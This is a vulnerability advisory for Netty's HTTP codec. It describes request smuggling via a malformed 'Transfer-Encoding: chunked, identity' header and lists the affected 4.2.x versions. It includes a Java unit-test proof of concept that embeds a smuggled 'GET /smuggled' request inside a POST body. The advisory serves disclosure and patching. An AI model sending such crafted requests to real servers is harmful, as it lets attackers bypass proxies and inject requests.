GHSA-38f8-5428-x5cv

    Dashboard / Vulnerabilities / GHSA-38f8-5428-x5cv

    GHSA-38f8-5428-x5cv

    Published: 7 May 2026Last Modified: 10 Sept 2026

    Summary: Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

    Details: ### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

    Affected packages

    Package

    Name: io.netty:netty-codec-http

    Purl: pkg:maven/io.netty/netty-codec-http

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 4.2.0.Alpha1
    Fixed -4.2.13.Final

    Affected versions

    4.2.0.Alpha1
    4.2.0.Alpha2
    4.2.0.Alpha3
    4.2.0.Alpha4
    4.2.0.Alpha5
    4.2.0.Beta1
    4.2.0.Final
    4.2.0.RC1
    4.2.0.RC2
    4.2.0.RC3
    4.2.0.RC4
    4.2.1.Final
    4.2.10.Final
    4.2.11.Final
    4.2.12.Final
    4.2.2.Final
    4.2.3.Final
    4.2.4.Final
    4.2.5.Final
    4.2.6.Final
    4.2.7.Final
    4.2.8.Final
    4.2.9.Final

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-38f8-5428-x5cv | CVE-DB